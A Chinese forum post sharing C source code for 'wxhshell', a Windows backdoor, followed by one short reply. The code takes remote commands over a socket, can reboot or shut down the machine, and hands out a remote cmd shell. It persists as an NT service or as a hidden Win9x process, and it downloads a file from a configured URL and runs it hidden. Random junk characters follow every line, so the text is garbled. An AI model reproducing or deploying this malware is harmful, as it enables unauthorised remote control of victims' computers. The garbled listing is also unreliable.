  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jv=G3=.  
  else ^@..\X9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7oI^shk  
  } %U)M?UNjw  
  else { &c!=< <5M  
(_lc< Bj  
    switch(cmd[0]) { 'u2Qq"d+  
  Sm%MoFf  
  // 帮助 2tqO%8`_  
  case '?': { 4x:Odt5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =`]yq;(C7j  
    break; LvNk:99:<  
  }  VgNt  
  // 安装 [2,u:0"  
  case 'i': { jP";ll|c  
    if(Install()) XDJQO /qN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V-w[\u  
    else ynN[N(m#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G{ $Zg  
    break; %R{clbbbn  
    } ]X)EO49  
  // 卸载 ^$y_~z3o#7  
  case 'r': { BE }qwP^  
    if(Uninstall()) Do|`wpR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Q1){M9 '  
    else :8aIj_qds  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r8 M/E lbk  
    break; (Rk g  
    } LHWh-h(s  
  // 显示 wxhshell 所在路径 A4?_ 0:<  
  case 'p': { &~Q ?k  
    char svExeFile[MAX_PATH]; JPk3T.qp  
    strcpy(svExeFile,"\n\r"); Q=9S?p M  
      strcat(svExeFile,ExeFile); .0q %A1H  
        send(wsh,svExeFile,strlen(svExeFile),0); [J+K4o8L<A  
    break; :LFw J  
    } |C S[>0mV!  
  // 重启 <u"#Jw/VP  
  case 'b': { yREO;m|o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n6nwda  
    if(Boot(REBOOT)) F77[fp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XI,F^K  
    else { qD4e] 5  
    closesocket(wsh); ^dP@QMly6  
    ExitThread(0); "FaG5X(  
    } RS/%uxS?  
    break; Nu{RF  
    } |[ |X  
  // 关机 0p$?-81BJ  
  case 'd': { q#PGcCtu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MT#9x>  
    if(Boot(SHUTDOWN)) nZN]Q9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TR@$$RrU  
    else { "O|fX\}5  
    closesocket(wsh); $(}kau  
    ExitThread(0); Y^S0K'N  
    } (w% hz']  
    break; c uquA ~  
    } vVLR9"rHM  
  // 获取shell mI in'M  
  case 's': { s$:]$&5  
    CmdShell(wsh); 4aB`wA^x  
    closesocket(wsh); Y@u{73H  
    ExitThread(0); Z#;ieI\  
    break; ,^o^@SI)   
  } a+mq=K  
  // 退出 ,lA J{5\#  
  case 'x': { N &p=4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ze Shn  
    CloseIt(wsh); VV] {R'  
    break; :yk Z7X&  
    } +U%lWE%  
  // 离开 _z m<[0(  
  case 'q': { =$Q3!bJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,-DE;l^Q=  
    closesocket(wsh); JEBo!9  
    WSACleanup(); *vsOL 4I%  
    exit(1); B?Y%y@.  
    break; p|Rxy"}  
        } hY'"^?OP  
  } G';oM;~/|  
  } ~`_nw5y  
.#WF'  
  // 提示信息 '}4[m>/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^Z:x poz,  
} NnHM$hEI"U  
  } 7@tr^JykO  
,%nmCetD@  
  return; ~P6K)V|@<  
} L1C' V/g  
[TO:- 8$.  
// shell模块句柄 ocgbBE  
int CmdShell(SOCKET sock) ~T4 =Id  
{ Z/x<U.B  
STARTUPINFO si; *bRH,u  
ZeroMemory(&si,sizeof(si)); xI:;%5{LN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <J H0 &  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "l +Jx|h\  
PROCESS_INFORMATION ProcessInfo; @1Zf&'/6  
char cmdline[]="cmd"; 'T|.<u@~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XcfTE m  
  return 0; KI>7h.t  
} sCRBKCR?  
<U,T*Ql1x  
// 自身启动模式 s^KxAw_IV  
int StartFromService(void) dnIBAe  
{ g\ *gHHa  
typedef struct P<4jY?.  
{ R?&S]?H  
  DWORD ExitStatus; #{ Uk4  
  DWORD PebBaseAddress; Q}fAAZ&7h  
  DWORD AffinityMask; q}\\p  
  DWORD BasePriority; =h_4TpDQ  
  ULONG UniqueProcessId; \v-> '  
  ULONG InheritedFromUniqueProcessId; zRE7 w:  
}   PROCESS_BASIC_INFORMATION; Zp__  
acGmRP9g  
PROCNTQSIP NtQueryInformationProcess; E!Fy2h>[Z  
0|^x[dh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m/6oQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BxZop.zwE(  
]-PF?8  
  HANDLE             hProcess; h0^V!.- 5  
  PROCESS_BASIC_INFORMATION pbi; caj)  
G0]n4"~+?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 10}Zoq|)n  
  if(NULL == hInst ) return 0; hCxL4LrF  
g:o\r (  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nev*TYY?A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }lxvXVc{I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @$nI\ n?*  
Rthu8NKn  
  if (!NtQueryInformationProcess) return 0; ;D^)^~7dh  
'Ux_X:,:;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?Y hua9  
  if(!hProcess) return 0; 3mm`8!R  
IYQYW.`ly  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +qz)KtJS  
9lD,aOb  
  CloseHandle(hProcess); l[fNftT-  
q]r!5&Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QKP9*dz  
if(hProcess==NULL) return 0; k=~?!+p7  
=V,'f  
HMODULE hMod; @`_j't,  
char procName[255]; N0qC/da1  
unsigned long cbNeeded; U/iAP W4U  
6=@n b3D%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Uv+pdRXn  
I Mv^ 9T:  
  CloseHandle(hProcess); Qs?+vk?*h  
q;>BltU  
if(strstr(procName,"services")) return 1; // 以服务启动 d#b{4zF"  
 q?^0 o\  
  return 0; // 注册表启动 "pWdz}!  
} #VO2O0GR  
~<Lf@yu-{  
// 主模块 ?\O+#U%W  
int StartWxhshell(LPSTR lpCmdLine) ]Z84w!z  
{ }DM2#E`_  
  SOCKET wsl; =:g^_Hy  
BOOL val=TRUE; hx2C<;s4  
  int port=0; $>h#|?*?  
  struct sockaddr_in door; %&] }P;&  
R_ 1C+  
  if(wscfg.ws_autoins) Install(); & 9]KkY=  
*g,?13Q_  
port=atoi(lpCmdLine); ZK ?x_`w  
:O!G{./(_  
if(port<=0) port=wscfg.ws_port; nEp'l.T  
|,7J!7T(I  
  WSADATA data; @LE?XlhD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LQh\j|e9  
F d\XDc[g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V?O%kd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o6y,M!p@  
  door.sin_family = AF_INET; y(]|jRo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aW6+Up+G*  
  door.sin_port = htons(port); b #^aM  
1`}fbX;"m)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EU@mrm?  
closesocket(wsl); dI 5sqM:  
return 1; /-hF<oNQ  
} hZ'oCRM  
dq8 /^1P  
  if(listen(wsl,2) == INVALID_SOCKET) { 6_y|4!,:W  
closesocket(wsl); wr$}AX  
return 1; XF7W'^  
} -oZ a c  
  Wxhshell(wsl); wqwJpWIe  
  WSACleanup(); t@u\ 4bv  
cV{ZD q  
return 0; y{{EC#  
n>E*g|a  
} R_qo]WvR;  
fD~!t 8J  
// 以NT服务方式启动 38m%ifh)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0`P]fL+&  
{ 7XDV=PQ[  
DWORD   status = 0; Gtg)%`  
  DWORD   specificError = 0xfffffff; 1SFKP$^  
XsOOkf\_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C^%zV>o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9_Re,h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p\{+l;`  
  serviceStatus.dwWin32ExitCode     = 0; X]yERaJ,i  
  serviceStatus.dwServiceSpecificExitCode = 0; 87K)qsv8  
  serviceStatus.dwCheckPoint       = 0; ]v{fFmL  
  serviceStatus.dwWaitHint       = 0; NVj J/  
V{h@nhq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;/V@N |$n  
  if (hServiceStatusHandle==0) return; ,OKM\N ,  
yo*iv+l  
status = GetLastError(); K7hf m%`N  
  if (status!=NO_ERROR) }K>H S\e  
{ ~t:b<'/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Qsntf.fT  
    serviceStatus.dwCheckPoint       = 0; j&/.[?K  
    serviceStatus.dwWaitHint       = 0; 99!{[gOv  
    serviceStatus.dwWin32ExitCode     = status; 3] qlz?5  
    serviceStatus.dwServiceSpecificExitCode = specificError; O&,O:b:@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xplo Fw~  
    return; 9 <KtI7  
  } O$Vm#|$sq  
gFT~\3j p=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x}.d`=  
  serviceStatus.dwCheckPoint       = 0; CJ?gjV6  
  serviceStatus.dwWaitHint       = 0; m"G N^V7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "k-ov9yK  
} \B2d(=~4  
z}1xy+  
// 处理NT服务事件,比如:启动、停止 }o^A^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g&4~nEp  
{ %;Z bQ9  
switch(fdwControl) |)q K g  
{ kP)o=\|W{z  
case SERVICE_CONTROL_STOP: ~RXpz-Ye  
  serviceStatus.dwWin32ExitCode = 0; 'Y[A'.*}4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^V}R(gDu}s  
  serviceStatus.dwCheckPoint   = 0; B/=q_.1F>  
  serviceStatus.dwWaitHint     = 0; x~;EH6$5'/  
  { :Nz?<3R0\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fd[h9 G  
  } %?f:"  
  return; $a^isd4  
case SERVICE_CONTROL_PAUSE: qd+[ShrhqZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }IN_5o((  
  break; {TncqA  
case SERVICE_CONTROL_CONTINUE: HJ qQlEq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F4rKFMr  
  break; sdf%  
case SERVICE_CONTROL_INTERROGATE: p%"yBpSK  
  break; ^v!im\ r  
}; DvX3/z#T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ay(!H~q_U  
} $W$# CTM  
ZB[(Tv1  
// 标准应用程序主函数 T@|l@xm~L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m`$>:B  
{ `OP>(bU0  
d>, V  
// 获取操作系统版本 6B''9V:s  
OsIsNt=GetOsVer(); PDIclIMS'F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m*!f%}T  
4C1FPrh  
  // 从命令行安装 14D 7U/zer  
  if(strpbrk(lpCmdLine,"iI")) Install(); *w/WHQ`xI  
_;:rkC fj  
  // 下载执行文件 8rwYNb.P  
if(wscfg.ws_downexe) { lKEX"KQ!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~pevU`}Uqc  
  WinExec(wscfg.ws_filenam,SW_HIDE); s^>lOQ=  
} MdH97L)L.0  
]iDJ*!I  
if(!OsIsNt) { h/Hl?O8[  
// 如果时win9x,隐藏进程并且设置为注册表启动 u<]mv  
HideProc(); XocsSs  
StartWxhshell(lpCmdLine); Znta#G0  
} ^IGyuj0]jG  
else -~][0PVL9  
  if(StartFromService()) }t|Plz  
  // 以服务方式启动 7%9)C[6NSs  
  StartServiceCtrlDispatcher(DispatchTable); Ud#X@xK<h  
else %5h^`lp  
  // 普通方式启动 #+" 4&:my  
  StartWxhshell(lpCmdLine); JzMZB"Z?  
pDq#8*q+v  
return 0; l RDxIuTK  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八